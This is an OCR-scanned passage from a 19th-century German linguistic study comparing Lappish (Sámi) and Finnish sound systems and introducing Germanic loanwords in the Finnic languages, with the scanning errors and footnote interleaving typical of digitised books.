nischen; hiermit kann ich mich jedoch nicht einverstanden
erklären. Selbst wenn das lappische die eine oder die andere
alterthümlichkeit bewahrt hat, welche das finnische ver-
loren hat, so steht doch dieses, wie meiner meinung nach
jedes der nachfolgenden blätter hinlänglich zeigen wird,
sowöl in den meisten seiner flexionen, als auch namentlich
in den lautverhältnissen auf einer älteren stufe, während
jenes sich mehr von dem ursprünglichen entfernt hat. Von
den verschiedenen mundarten ist die norwegisch- lappische
nicht nur die ausgedehnteste, sondern zugleich eine der
harmonischesten und vor allem die am besten und zi^ver-
lässigsten bekannte, weshalb ich kein bedenken trage, sie
der ganzen folgenden darstellung zu gründe zu legen. ^
1) Wenn indessen der weggeworfene vocal ein i war, wirkt er im
ehstnischen auf den vorhergehenden vocal zurück, so dass dieser
'diluiert' wird, d.h. ein flüchtiges i wird nach dem vocal einge-
schoben. Gewöhnlich wird das nicht in der schritt bezeichnet. Ich
drücke es hier nach Wiedemann mit ' über dem nachfolgenden conso-
nanten aus. Etwas ähnliches findet auch im li vischen statt.
2) Hilfsmittel sind Ras k s Rsesonneret lappisk Sproglasre (Ko-
penh. 1832), eines der genialsten werke dieses grossen Sprachforschers;
32 Einleitang.
29 Die VO c ale sind im lappischen: a, ae (sehr offen), e,
i, o (offen in der ersten silbe, geschlossen weiter innerhalb
des wertes), u; von einigen von diesen können auch ver-
schiedene lautmodificationen vorkommen; y und ö finden
sich nur in einzelnen dialekten. Sodann gibt es folgende
diphthonge, die nur in den betonten silben stehen kön-
nen: 1) oa, uo, uö,^ ie, (ua); 2) ai, sei, ei, oi, ui; au,
seu, eu, (iu), ou, woran sich die triphthonge oai, uoi,
und I. A. Friis, Lappisk Grammatik (Christiania 1856). Diese nebst
desselben Lappiske Sprogpröver; en Sämling af läpp. Eventyr, Ord-
sprog og Gaader; med Ordbog (ebenda 1856), die genau nach dem
volksmnnd aufgezeichnet sind , sind das beste und zuverlässigste , was
über diese spräche existiert. Dagegen sind die meisten religiösen Über-
setzungen weniger glücklich; eine ausnähme macht die neueste Bib-
balhistoria u. s. w. (ebda. 1866). Wörterbücher für diesen dialekt
sind, ausser der wortsamlung in Friis' angeführten Sprogpröver,
K. L e e m s Leiicon lapponicum bipartitum (2 thle. ; n. ist von
G. Sandberg besorgt; 1768 u. 1781) und N. V. Stockfleths Norsk -
lappisk Ordbog (Christiania 1852, der lapp. -norweg. theil ist nicht
erschienen). Ausserdem bin ich persönlich herrn prof. Friis zu dank ver-
pflichtet für verschiedene aufschlüsse; die mich, wie ich hoffe, in den
stand gesetzt haben , mehrere fehler meiner Vorgänger zu entfernen und
zu vermeiden. Die schwedisch - lappische mundart, namentlich die in
den südlichsten gegenden gesprochene, ist in Lindahls und Ohr-
lings Lexicon lapponicum (Stockholm 1780) behandelt und wird
darnach auch in Stockfleths Wörterbuch herbeigezogen. Zugleich habe
ich J. Tornaßi Manuale lapponicum (ebda. 1648, eines der ältesten
lappisch gedruckten bücher) und Tat alles tjalog (d. h, die heilige
Schrift. Hemösand 1811; vom neuen test. existiert auch ein unver-
änderter Separatabdruck) benutzt. Sowol das Wörterbuch als diese bei-
den sind indessen sehr ungenau. Eine von noch mehr fehlem und
misverMäpdnissen entstellte und im ganzen unbrauchbare compilation
ist Possarts Kleine lappländische Grammatik (Stuttgart 1840).
Beiträge zu dem enare - lappischen dialekt findet man von E. Lönnrot
in den Acta soc. scierit. fenn. IV, s. 133 ff. und von A. Andelin und
E. W. Borg ebendas. VI, s. 385 ff. lieber die russisch - lappischen
mundarten, die in manchen beziehungen die merkwürdigsten zu sein
scheinen, ist noch so gut wie nichts gedruckt.
1) Eine modification von uo, welche besonders vor einem e in der
folgenden silbe eintritt; ö bezeichnet hier nicht das gewöhnliche ö,
sondern ein o, das sich dem e nähert und mehr mit dem engl, u in
but verglichen werden kann. Bisweilen, besonders in schwed. -lapp.
büchern, wird dieser diphthong auch ue geschrieben.
Lantverhältnisse des lappischen; Yocale. 33
iei; oau^ uou, (ieu) anschliessen. In fast allen norwe-
gisch - lappischen mundarten geht jedoch u als letztes element
in diphthongen und triphthongen ganz bestimmt in v (w)
über (ausser in einzelnen fällen im anfang von Wörtern, wie
ouda, audogas); ob dem analog i zu j wd, ist etwas
schwieriger zu entscheiden, doch glaube ich, dass man am
richtigsten j zu schreiben hat, womit auch die triphthonge
vollständig verschwinden.^
Die diphthonge sind immer lang, wogegen fast alle
einfachen vocale sowol kurz als lang vorkommen können. *
Doch ist der im finnischen so scharf ausgeprägte unterschied
hier beinahe verwischt, indem auch ein ursprünglich kurzer
vocal sehr oft der betonung wegen verlängert wird, beson-
ders in einer offenen (sowol hoch- als tief betonten) silbe,
wärend umgekehrt eine geschlossene silbe meist kurzen vocal
hat. Hier wird also ungefähr dieselbe regel befolgt, wie in
den neueren nordischen sprachen. In einer unbetonten sUbe
kann der vocal nur durch contraction lang werden. Uebrigens
wird die länge der vocale in der schritt nicht bezeichnet.
Während sich im lappischen nicht die mindeste spur
von dem finnischen progressiven umlaut (der vocalharmonie)
findet, erscheint hier ein regressiver, indem ein i oder u
bewirkt , dass in der vorhergehenden silbe ein ae zu e , o a 30
zu o, uo zu u und ie zu i wird; z. b. aello, heerde, aber
ellui; baevdde, tisch, aber bevddi; goatte, zeit, aber
godid; suolo, insel, aber sullu; gietta, hand, aber
gitti.
Die vocalübergänge zwischen dem finnischen und lap-
pischen sind sehr mannigfaltig und scheinen oft sonderbar und
regellos. Zum theil kann man den grund hierfür vielleicht
in dem bestreben suchen, werte auseinander zu halten, die
sonst zusammengefallen wären, zum theil aber auch in dem
umstand / dass nicht alle werte ursprünglich gemeinsam sind,
1) Prof. Friis schreibt in seiner grammatik und seinen sprach-
proben j (wie Bask),*hat diess aber später aufgegeben und braucht in
der Bibbalhistoria (1866) i (wie Stockfleth).
2) Doch ist sß stets lang, wenn auch nicht immer in gleichem
grade; es kommt auch nur in betonten silben vor.
Thomsen, Einfluss d. germ. sprachen. 3
34 Einleitang.
sondern manche während der langdauernden und stetigen
berührungen der beiden Völker zu verschiedenen zeiten aus
der einen spräche in die andere übergegangen sind , was jetzt,
bei dem mangel an einer älteren spräche, oft sehr schwer
zu controlieren ist. Diese mannigfaltigkeit der Übergänge
findet hauptsächlich in den Wurzelsilben statt, welche wir
zunächst betrachten wollen. Ich gehe dabei vom finnischen
aus, da die vocale hier fast überall ursprünglicher zu sein
scheinen und am meisten mit den übrigen verwandten sprachen
übereinstimmen. Die gewöhnlichsten lautvertretungen sind :
F. a 1) = läpp, a: f. talvi (mordw. t'ala), winter, = 1.
dalvve; f. maksaa, bezahlen, (m. maksan,
ich gebe,) = 1. makset; f. antaa, geben, (m.
andan, ich ernähre, ung. ad) = 1. addet;
f. talo, hof, = 1. dallo; f. vastaan, ich
• antworte, = 1. vastedan[L
2) = 1. uo (im anlaut vuo): f. kala (mordw. kal,
ung. hal), fisch, = 1. guölle; f. kantaa,
1. pers. kannan (m. kandan), tragen, == 1.
guöddet; f. marja, beere, == 1. muörrje;
f. palan, ich brenne, ardeo, (m. palan) =« 1.
buölam; f. maksa (m. ebenso), leber, = sw.-l.
muökse; f. vastaan, gegen, = 1. vuöstai;
f. ala (m. ala, ung. ai), unterläge, =1. vuolle.
3) = 1. « (selten): f. vasara, hammer, = 1. vseöer.
F. o 1) = 1. o: f. joki, fluss, = 1. jokka; f. kolme (m.
kolma), drei, = 1. golbma.
2) = 1. oa: f. kota (m. kud), haus, = 1. goatte;
f. oksa (Sorem, ukä), zweig, = 1. oakse; f.
kolmas, der dritte, = 1. goalmad; f. sota,
krieg, == 1. soatte; f. osa, theil, == 1. oasse.
3) = 1. uo (vtto): f. sormi (m. sur), finger, = 1.
suorbma; f. joka, jeder, = 1. juötke; f.
lohi, lachs, == 1. luossa; f. onki, angel, ==
1. vuogga.
31 F. u 1) = 1. u: f. puhdas, rein, = 1. buttes.
2) == 1. o: f. lukea (m. luvan 1. pers.), zählen,
lesen, = 1. lokka t; f. suku, geschlecht, stamm,
Lantverhältnisse des lappischen; vocale. 35
= 1. sokka; f. kuljen (m. koTgan), ich gehe,
fliesse, = 1. golgam; f. kutsun, ich rufe, =
1. goßöom; f. tuli (m. toi), feuer, = 1. dolla;
f. puhun, ich blase, spreche, == 1. bosom.
F.c, ä (8) 1) =- 1. «B (e): f. penikka, junger hund, (liv. pin,
m. pinä, hund), = 1. baena, hund; f. pesä
(m. piza), nest, == 1. bsesse.
f. nälkä, hunger, = 1. nselgge; f. hätä,
noth, = 1. haette; f. härkä, ochse, == 1.
haergge, zahmes renntWer.
2) = 1. ie: f. veli, bruder, = 1. viellja; f. neljä
(m. nila), vier, = nielijä; f. repo, fuchs, =
1. rjeppo, rjevan.
f. käsi (m. käd), hand, = 1. gietta; f.
näkö, gesicht, = 1. niekko, traum; f. kär-
sin (für *kärdin, m. kird'an), ich leide, =
1. gierdam.
3) =^ 1. a (ft) ^: f. vene (m. venä), kahn, = 1. vänas;
f. veri (m. ver), blut, = 1. värrä; f. että,
dass, = 1. ätte; f. pelkään (m. peTan), ich
furchte, = 1. bälam; f. te*en (m. tijan), ich
mache, thue, = 1. dägam; f. keski, Zwischen-
raum, == 1. gäskä; f. menen (m. mänan),
ich gehe, = 1. man am.
f. pää (för *päjä), haupt, = 1. bägje; f.
järvi, see, = 1. javrre.
4) =^ 1. 1: f. sekä, sowol ( — als), == 1. sikke; f.
vävy, Schwiegersohn, = 1. vivva.
F. 1 1) = 1. i: f. vika, fehler, == 1. vikke; f. kirja,
buch, = 1. girje.
1) Mit ä, das fast immer kurz ist, wird eine eigene ausspräche
des a bezeichnet, die sich zu ä hinneigt (etwa wie das ung. a oder
wie im engl, call) und die vorzugsweise da vorzukommen scheint, wo
a nicht ursprünglich, sondern = finn. e, i, y (und u) ist. Da diese
ausspräche in den gewöhnlichen lappischen büchem nicht besonders
bezeichnet wird, habe ich sie hier und. anderwärts nur in den Wörtern
angedeutet , wo ich über ihr Vorhandensein sicher bin. In einigen dia-
lekten, z. b. dem enare-Japp. , geht diess ä oft in o über, wenigstens
wird es in den Wörterverzeichnissen so geschrieben.
3*
36 Einleitung.
32 2) = 1. a (ft): f. nimi (s. 2), name, = 1. nabma;
f. ikä, alter, =^ 1. äkke; f. liki, nahe, = 1.
läkka (aber läkka, gesetz, = f. laki); f.
ilma, luft, = 1. älbme, himrael; f. linna,
bürg, = 1. ladne; f. rinta, brüst, « 1. rädde
(aber radde, brand); f. hinta, preis, =1. hädde;
f. sikiö, abkömmling, brut, = 1. säkko (aber
1. sakko, geldstrafe, = f. sakko).
3) = 1. 0^: f. lintu, vogel, =1. lodde; f. minä,
gen. minun (m. mon), ich, == 1. mon.
F. y 1) == 1.1: f. kylvö, aussaat, = 1. gilva; f. myrkky,
gift, =1. mirkko; f. ymmärtää, verstehen,
= 1. ibmerdet.
2) = 1. a {&): f. yli (m. velf), über, = 1. älä; f.
syksy (m. suks), herbst, = 1. öaköa; f.
syntyä (m. saßan l. pers.) , geboren werden,
= 1. ääddät; f. ydin (m. ui), gehirn, = 1.
ada; f. kynsi (m. kendzä), klaue, = l.ga;;a;
f. kylmä (m. kelmä), kalt, = 1. galmas;
f. pyrkiä, streben, = 1. bärggät, arbeiten
(aber 1. bärggat, schreien, = f. parkua).
3) = 1. o: f. yksi, ein, = 1. okta (auch äkta); f.
sylki, Speichel, = 1. öolgga.
4) = 1. u (selten): f. ystävä, freund, = 1. usteb,
enare-1. ystev (aus dem finn. entlehnt).
Die langen vocale erhalten sich gewöhnlich mehr unver-
ändert, z. b. f. kiittää, danken, = 1. gitet; f. viisi (für
*viiti), fünf, == 1. vitta; f. kuusi (für *kuuti), sechs,
== 1. gutta (aber f. kuusi, gen. kuusen, flehte, == 1.
guossa); f. kuulen, ich höre, = 1. gulam; f. määrä,
mass, = 1. maerre. Dem finn. yy entspricht 1. iv in den
Worten bivddet, jagen, fangen, = f. pyytää (ung. fog),
und sivva, grund, Ursache, = f. syy;- hier dürfte jedoch
die läpp, form älter und die finn. contrahiert sein.*
1) £ine weiterentwickelung von ä , vielleicht durch den einfluss des
folgenden vocales?
2) Vgl. oben s. 23 f. — Zu finn. syy in der bedeutung faden, fiber,
werden auch die nebenformen syi und sy ve' angeführt. Dass f. yy
Laatverhältnisse des lappischen; vocale. 37
Von den diphthongen ist 33
f. uo 1) = 1. uo: f. nuori, jung, = 1. nuorra; f. luonto,
natur (vom verbum luoda, schaffen) , = 1.
luonddo (aus dem finn. entlehnt); f. nuoli,
pfeil, == 1. njuola.
2) = 1. a (selten): f. Suomi = 1. Sabme (s. 14,
note 1); f. vuori, berg, = 1. varre; f. kuori,
rinde, =-1. garra.
f. le undyS = 1. le: f. kieli, zunge, = 1. giella; f. mieli,
sinn, = 1. miellä; f. liemi, suppe, = 1.
liebma; f. tietää, wissen, == 1. diettet; f.
kieltää, verbieten, = 1. gielddet.
f. myötyä, nachgeben, = 1. miettat.
In den halbdiphthongen (wie man vielleicht, besonders
im norw.-lapp., diejenigen diphthonge nennen könnte, welche
auf i (j) und u (v) ausgehen) wird das erste dement fast
eben so vielfach verändert, wie die einfachen vocale, z. b.
f. aita, zäun, = 1. ajdde; f. kaima, namensvetter , = 1.
gajbme (vgl. guojbme, begleiter); f. noita, zauberer,
= 1. noajdde; f. voima, kraft, = 1. vuojbme; f. äimä,
nähnadel, = 1. ajbm'e; f. reikä, loch, = 1. rajgge; f.
keino, weg, mittel, = 1. gaejdno; f. neito, mädchen,
= 1. niejdda; f. hauta, grab, = 1. havdde; f. kautta,
durch, vgl. 1. guovddo, mitte, mitten in; f. joukko,
häufe, = 1. joavkko, jovkko; f. täytää, füllen, = 1.
dsevddet; f. täysi, voll, = 1. dievas; f. kiusata, pla-
gen, = 1. givsedet; (f. nöyrä, ehst. nödr, demüthig,
schwach, = 1. nsevrre, schlecht). — Eücksichtlich der
föUe, wo f. ei = 1. aj ist, glaube ich jedoch nicht, dass der
oben angeführte Übergang von e zu a hier stattgefunden hat,*
sondern eher, dass das lappische hier das ältere erhalten,
das finnische ursprüngliches a i in ei verwandelt hat. Diess
muss der faU sein in f. heinä, heu, weps., rev.-ehst. hein.
aus iu entstehen kann, beweist f. kyyti (liv. sk'üt) = sw. sJcjuts;
vgl. auch tiuris, tyyris im wortverzeichniss.
1) Vor u, V kommt er nie vor; ebensowenig glaube ich, dass a
vor j jemals wie ä lautet, '
38 Einleitang.
wot. einä, während 1. suojdne,^ dorp.-ehst. hain, liv.
aina (än) auf eine grundform hain a zurückweisen (von
Iit. szenas für *szainas; vgl. f. paimen, hirte, von Iit.
Mpemu, f. laiha, mager, von Iit. lesas, f. taivas, himmel,
von Iit. devas, gott); ebenso in f. reisi (*reiti), Schen-
kel, weps. reiSeh, rev.-ehst. reiz, neben 1. ruojdda,
dorp.-ehst. raiz, liv. raigä; in f. seisoa, stehen, rev.-
ehst. seizma, neben lap. öuo^^ot, dorp.-ehst. saizma;
wahrscheinlich auch in f. seiväs, re v. - ehst. t e i w a s , zaun-
pfahl, = dorp.-ehst. saiwas, liv. taibas, und in f., wot.
seinä, wand, weps. u. rev.-ehst. sein = dorp.-ehst. sain,
liv. s ai n a (von Iit. sena), wobei man anzunehmen hat, dass
norw.-lapp. ssejdne, en.-l. s sein e (nicht im sw.-l.) aus
dem finn. aufgenommen ist, nachdem der Übergang von ai
zu ei stattgefunden hatte.
In den endungen sind die vocalübergänge einfacier.
Da das lappische, wie schon bemerkt, die vocalharmonie
des finnischen nicht kennt , so werden hier harte und weiche
vocale auf dieselbe weise behandelt.
F.a,ä 1)= L e: f. kala== I. guöUe; f. ilma = 1. älbme;
f. silmä, äuge, = 1. öalbme; f. nälkä =
1. nselgge; f. uskaltaa (für *-tada'), wagen,
andere, = 1. oskeldet; f. ymmärtää == 1. ib-
merdet; f. puhdas =- 1. buttes; f. rakas,
lieb, = 1. rakis (mit i anstatt e).
2) = 1. a (selten , vielleicht nur in wenigen entleh-
nungen): f. akka, altes weib, = Lakka, haus-
frau; f. paha, böse, schlimm, = 1. bahha.
f. O, ö = 1. o: f. talo = 1. dallo; f. uskon, ich glaube,
= 1. oskom; f. näkö ==* 1. niekko.
f. u, y 1) = 1. (u): f. ,halu, lust, = 1. hallo; f. kutsun
= 1. goßßom; f. pysyn, ich verbleibe, = 1.
bisom.
2) = 1. a (ft): f. suku = 1. sokka; f. savu, rauch,
= 1. suo vvä; f. sormus, ring, = 1. suormas;
1) L. uoj kann niemals ans ei entstehen.
Lautverhältnisse des lappischen; vocale; consonanten. 39
f. vävy = 1. vivva; f. myötyä = 1. miet-
tät; f. syksy = 1. öakßa.
f. e , 1 = a (ft) , das im aaslaut dialektisch wegfallen kann :
f. sormi = 1. suorbma; f. vene' == 1. vä-
nas; f. terve", gesund, *== 1. diervas, daer-
vas; f. luen, lukea ^ 1. logam, lokkät;
f. appi, Schwiegervater, = 1. vuoppä; f. per-
kele', teufel, = 1. baergalak.
In betreff des Überganges von a und ä in e ist zu
bemerken, dass ein folgender consouant oft das a erhält,
namentUch in der dritten silbe, oder wenn der consonant
ein nasal ist, z. b. f. viljakas, reichlich, = 1. valljogas;
f. annan, antaa, geben, = 1. addam, addet; f. kol- 35
mas (s. 30), der dritte, = 1. goalmad.
Dagegen wii'd in der dritten silbe gewöhnlich ein ein-
facher auslautender vocal abgeworfen, ja diess geschieht
bisweilen auch , wenn ihm ursprünglich ein - n folgte , z. b.
f. kavala, listig, = 1. gavvel; f. tavara, gen. -ran,
waare (vom russ. TOBapi) tovdr), = 1. daver, gen. da wer;
f. oikea, oikia, weps. oiged, richtig, = 1. vuojggad,
gerade. ^
Die consonanten sind im lappischen etwas mannig-
faltiger als im finnischen. Während auch hier im anlaut
regelmässig nur die eine reihe der mutä — in den öst-
licheren dialekten vorzugsweise die tenues, im norw.- lappi-
schen dagegen nur g, d, b — vorkonunt, finden sich im
inlaut gewöhnlich sowol k, t, p als g, d, b. Von hauch-
lauten kommt ausser h auch f vor, theils in fremdwörtern,
theils in einigen dialekten anstatt v, und ausserdem nur im
inlaut g , ein hauchendes g = neugriech. y (gewöhnlich wird
es durch ein durchstrichenes g ausgedrückt) , S. und ein hau-
chendes t, welches in den wenigen stellen, wo es vorkonunt,
hier mit dem isl. J) (anstatt eines durchstrichenen t) bezeich-
1) Wo finn. -ia, -io nicht auf diese weise entstanden ist (vgl.
oben s. 27, note 1), wd im läpp, i fortgeworfen; aber es kann doch
bisweilen an dem vorhergehenden consonanten bemerkt werden, z. b.
f. asia, weps. asi, gen. asjan, sache, = 1. asse; f, sikip ==;
1. sakko.
40 Einleitong.
net ist. unter den nasalen hat neben n und m auch der
gutturale nasal nach der neueren rechtschreibung sein eige-
nes zeichen i^ ; er kommt hauptsächlich zwischen zwei voca-
len vor , doch auch verdoppelt (z. b. m a iy ij e 1 , nach , hinter)
oder nach g (z. b. vuojgrya, geist). ^ Von Zischlauten fin-
det sich eine ungewöhnlich grosse anzahl, nämlich ausser
dem scharfen s auch S, sowie c (d. h. ts), ß (d. h. t§), ? (d. h.
dz) und ^ (d. h. dz) , denen im finnischen theils s , theils h
entspricht; dass diese mannigfaltigkeit im lappischen eine
ältere stufe bezeichnet, ist möglich, aber doch wenig wahr-
scheinlich, namentlich weil es in den meisten fallen unmög-
36 lieh zu sein scheint , irgend ein bestimmtes verhältniss zu
denselben oder ähnliehen lauten in anderen verwandten
sprachen nachzuweisen.
Hinsichtlich der consonantenverbindungen kann bemerkt
werden, dass das lappische einen zusammengesetzten anlaut
im allgemeinen nicht so ängstlich meidet , wie das finnische.
Im inlaut finden sich einige zusammenziehungen, unter
denen ich hervorheben will, dass gewöhnlich finn. nk, nt,
mp (ng, *nd, *mb) nach einem hoch- oder tief betonten
vocal zu gg, dd, bb, nach einem unbetonten zu g, d, b
werden; z. b. 1. gagges, grobes wollenzeug, == f. kangas;
1. haegga, das leben, = f. henki, geist; 1. rädde, brüst,
= f. rinta; 1. ääddät, geboren werden, werden, = f.
syntyä; 1. lodde, vogel, = f. lintu; 1. rakädet, zube-
reiten, = f. rakentaa, bauen; 1. goattadek, euer zeit,
= f. kotanne (fär *-nde oder *-nte); 1. obba, ganz,
= f. umpi; 1. vuojggadabbo, pl. -bbuk, gerader, ==
f. oikeampi, -mmat. Dasselbe findet bei ; und ^ statt,
z. b. 1. ga:;;e, gesellschaft , = f. kansa; 1. ga;;a, klaue,
= f. kynsi.* — Ein h vor einem andern consonanten fallt
1) Ungenau schreibt man dagegen noch n vor k oder g (welches
jedoch kaum anders als in lehnwörtern vorkommt), z. b. in anger,
eifrig, von f. ankara; ssenga, bett, dän.-norw. seng; bsenkka,
bank, die natürlich, wenn man ein eigenes zeichen für den laut hat,
Ski] g BT, sae^^ga, bss^kk a geschrieben werden soUten.
2) Nur das russ. -lappische hat die uncontrahierten formen erhal-
ten, z. b. londe, vogel, sendet, geboren werden; ebenso konde,
Lantverhältnisse des lappischen; consonanten. 41
entweder fort oder geht, vor t, in v (f, k) über, z. b. 1.
nakie, haut, feil, = f. nahka; 1. datto, wille, = t
tahto; 1. aefto, gen. sevto, wille, = f. ehto; 1. okta,
ofta, gen. ovta, einer, = f. yksi (für *yhti), gen.
yhden. — Beim zusammenstoss einer muta mit einer
liquida geht erstere gewöhnlich in v über (vgl. s. 24) , z. b.
1. dnovlle, feuerschwamm , == f. taula, kar. takla;
1. sservve, gemeinde, (mit metathesis) =^ f. seura, sepra.
Consonanten Verstärkung und -Schwächung
im inlaut spielt hier eine noch grössere rolle als im finni-
schen. Die bedingungen, unter denen sie eintritt, sind
ursprünglich dieselben gewesen, wie dort; da aber die
endungen durch den fortfall theils eines vocals, theils auch
eines consonanten (meist n) oft sehr stark verkürzt sind, so
kommt die Ursache in den meisten fallen erst bei einer ver-
gleichung mit dem finnischen zum Vorschein. Warum es
z. b. im nom. goatte, aber im gen. goade und wiederum 37
im praedicativ oder essiv goatte n heisst, kann man durch-
aus nicht verstehen, wenn man nicht die finn. formen kota,
kodan, kotana kennt. Sie muss also aus einer zeit stam-
men, wo die endungen noch vollständiger waren, und muss
zum theil (wenigstens bei einfacher muta nach kurzem vocal)
dem finn. und läpp, gemeinsam sein. Aber ganz im gegen-
satz zum wepsischen, bei dem wir eine ausgleichung der
älteren Verschiedenheit annehmen musten, ist diese hier
vielmehr noch weiter ausgedehnt worden , und zwar deutlich
als Verstärkung, indem alle einfachen consonanten
(selbst in der starken form da, wo schon die gemeinsame
finn. -läpp, stufe doppelformen gehabt haben muss) vor-
nehmlich nach einem vocal, halbvocal (j, v) oder
einer liquida im anfang einer ganz unbetonten
(s. 21), ursprünglich offenen silbe verstärkt
werden.^ Am gewöhnlichsten besteht die Verstärkung in
wildes rennthier, = norw.-l. godde; van^et, gehen, == norw.-l.
1) Der Zusammenhang der Verstärkung mit der betonung ist zuerst
nachgewiesen von Castren in der wichtigen abhandlung Vom Einflüsse
des Accents in der lappländischen Sprache, in den Memoires presentes ä
42 Einleitung.
der Verdoppelung; doch ist diese oft, namentlich beim zu-
sammenstoss von consonanten, etwas schwierig aufzufassen,
und sie scheint mir da, soweit ich darüber urtheilen darf,
fast eher wie ein eigener tonfall zu lauten, als wie eine
eigentliche Verdoppelung.^
Als beispiele für die gewöhnlichsten formen bei mutis
will ich anfahren: akka^ hausfrau, pl. akak; mirkko^
gift, pl. mirkok; datto, wille, pl. datok; ßaeppe,
Schmied, pl. ßaepek; — jokka, fluss, pl. jogak; goatte,
zeit, pl. goadek; ada (für *adam), mark, pl. addamak;
dappe, gebrauch, sitte, pl. davek (selten dabek); —
juölgge, fiiss, pl. juölgek; haergge, zahmes rennthier,
pl. haergek; ligge, was übrig bleibt (=* f. liika), ligas,
übrig (= f. liiaksi); niejdda, mädchen, pl. niejdak;
gierddat, leiden, 1. pers. gier dam; ssejbbe, schwänz,
pl. saejbek.
38 Wo dagegen eine zusammenziehung mit einem vorher-
gehenden nasal stattgefunden hat, und die muta also schon
von haus aus verdoppelt ist, tritt in der regel keine Ver-
änderung, weder Verstärkung noch Schwächung, ein, z. b.
rädde, brüst, pl. räddek; haegga, leben, pl. hseggak.
Beispiele von Verstärkung bei den übrigen consonanten
sind: guölle, fisch, pl. guölek; vivva, Schwiegersohn,
pl. vivak; mserra, meer, pl. maerak; oasse, theil, pl.
oasek; ßacce, wasser, pl. ßacek; aßße, vater, pl. aöek
(aber ga^^e, gesellschaft , pl. ga^^ek, s. 40).
Die nasale werden in den östlichen mundarten eben-
falls verdoppelt, im norw. - lappischen aber gewöhnlich in
der weise verstärkt, dass die entsprechende media voran-
Tacad. imper. des sciences ä St. Petersbourg par divers savants, VI,
s. 1 ff. (ursprünglich schwedisch gedruckt in der ztsclir. Suomi 1844,
s. 23 ff. und danach wieder in seinen Nordiska resor och forsknin-
gar V, s. 62 ff.).
1) Friis hat in der grammatik und den sprachproben die Verdop-
pelung nach anderen consonanten ganz aufzugeben versucht, hat sie
jedoch in seiner oben angeführten Bibbalhistoria wieder aufgenommen,
um doch ein mittel zur bezeichnung des wirklich vorhandenen Unter-
schieds zu haben. Vgl. übrigens Castren a. a. o. Rask, Lapp. Sprogl.
§§ 42 u. 61 — 62. Sami. Afh. U , s. 348 ff. Friis, Lapp. Gramm. §24 ff.
LantverhältniBse des lappischen; consonanten. 43
gesetzt wird, z. b. sadne, wort, pL sanek; vuojgiya,
geist, pl. vuojijak; namma oder nabma, name, pl.
namak; ßalbme, äuge, pl; öalmek. Ebenso wird j nach
einem vocal zu gj, z. b. sagje, statte, pl. sajek; vuögjet,
fahren, 1. pers. vuöjam. Steht j dagegen hinter einem
anderen consonanten (mit dem es eigentlich zu einem laut
zusammenfliesst) , so wird dieser verstärkt; z. b. vallje,
überfluss, gen. valje; ssevdnjad, finster, sevnjus, fin-
sterniss.
Vor t und den Zischlauten wird v in den verschiedenen
dialekten oft zu k, T oder g verstärkt, und umgekehrt, wo
die letztgenannten laute (oder wol eigentlich nur k) ursprüng-
lich sind, diese zu v geschwächt; z. b. gikse, gifse, plage,
pl. givsek (== f. kiusa); sefto, wille, pl. aevtok; ofta,
okta, ein, gen. ovta; oakse, oafse, zweig, pl. oavsek;
cakga, öaföa, öagöa, herbst, pl. öavöak.
Den auslaut im lappischen besonders zu betrachten,
wird nicht nöthig sein. Er beruht im ganzen auf denselben
gesetzen wie im finnischen, und die abweichungen sind meist,
wie schon gelegentlich bemerkt ist , die folge einer jüngeren
Verkürzung der endungen. Mitunter steht jedoch das lap-
pische auf einer älteren stufe , namentlich durch die duldung
mehrerer consonanten, wie zum theil s, wo das finnische es
zu ' , h , gemacht hat , und m.
lieber den einflnss der germanischen sprachen
anf die finnisch-lappischen.
39 Während man früher im allgemeinen zu der annähme
geneigt war, dass alle oder jedesfalls ein grosser theil der
Worte, die sich als den finnisch -lappischen. und den germa-
nischen, besonders den nordischen, sprachen gemeinsam
nachweisen Hessen, aus ersteren in letztere herübergenom-
men seien, muss es jetzt bei den mittein, welche die neuere
entwickelung der Sprachwissenschaft und der weit reichere
Stoff zur Verfügung stellen , für ausgemacht gelten , dass in
Wirklichkeit nur sehr wenige werte diesen weg eingeschlagen
haben; so gut wie alle Wörter, deren Überein-
stimmung und unmittelbarer Zusammenhang in
jenen zwei Sprachstämmen keinem zweifei unter-
worfen sein kann, gehören ursprünglich den
germanischen sprachen an und sind von da in
die finnischen übergegangen, eine bewegung, die
auch am natürlichsten zu den historischen Verhältnissen
stimmt.
Ueberall wo eine spräche einwirkung von aussen her
erfahren hat , pflegt eine Strömung in entgegengesetzter rich-
tung in sehr enge grenzen eingeschränkt zu sein, und so
lassen sich deutliche spuren finnisch -lappischen einfiusses
fast nur in den zunächst angrenzenden schwedischen und
theilweise in den norwegischen mundarten nachweisen; z. b.
nyländisch und ehst.-sw. ajsor, Wagendeichseln, = f. aisa,
mordw. azia; sw. haJcks, haMsä, kleines schiff, sehnte,
(Rietz, Ordbok öfver svenska allmogespräket s. 235) == f.
haaksi; sw. Jccdm, steinhaufe, grabhügel, (Kietz s. 304,
Rydqvist , Svenska spräkets lagar n , s, 282) = f. kalma,
Der einflttss der germ. sprachen auf die fiimiscli- lappischen. 45
grab, leichengeruch ^ ehst. kalm, grabstätte (angeweihte),
heidnische opfer- und begräbnisssteUe, weps. kalm, liv.
kälma, mordw. kalma, grab; sw. Tcänga, schuh, = f.
kenkä (für *kemkä), läpp, gama, gen. gabmag, ein 40
übrigens sehr verbreitetes wort von unsicherem Ursprung
(auch ins russische als iceHbra Tcenga aufgenommen; selbst
grönländisch kamik scheint verwandt); norw. eima, nadel
(nur in Helgeland, dem nördlichsten theil von Norwegen;
Aasen, Ordbog over det norske Folkesprog, s. 78. 625) «=
1. ajbme, f. äimä, syrj. jem u. m. a.^ Nur selten lassen
sich ursprünglich finnische werte weiter verfolgen, wie sw.
'pojßce, dän. pog, engl, hoy = f. poika, söhn, knabe, syrj.
pi, ostJAk. pox, pax, wogul. pu, pi, ung. fi, fiu;^ viel-
leicht altn. h>t, hütte, = f. kota, nw.-l. goatte, mordw.
kud, ßerem. kudo, kuda, ostj. ^öt, ^ät, kät, wogul.
kval, kvol, ung. häz, haus;* zweifelhafter ist altn. refr,
fuchs, = f., wot. repo, weps. reboi, ehst. rebane, liv.
rebbi, nw.-l. rjevan (selten rjeppo), sw.-l. repe,
enare-1. riemnjis, russ.-l. rimne, ersa-mordw. rives,
öerem. rövöz, rebe2, lebez; obwol man vielleicht leich-
ter eine wahrscheinliche indogermanische etymologie für das
letztgenannte wort aufstellen könnte, als, wenigstens für
den augenblick, eine finnische, so erregt doch der umstand,-
dass es sich in so vielen finnischen sprachen^ ausserhalb
dieser aber nur in den nordischen findet , den verdacht, dass
es aus dem finnischen entlehnt sei. Endlich können auch
vielleicht die alten nordischen dichter ein und das andere
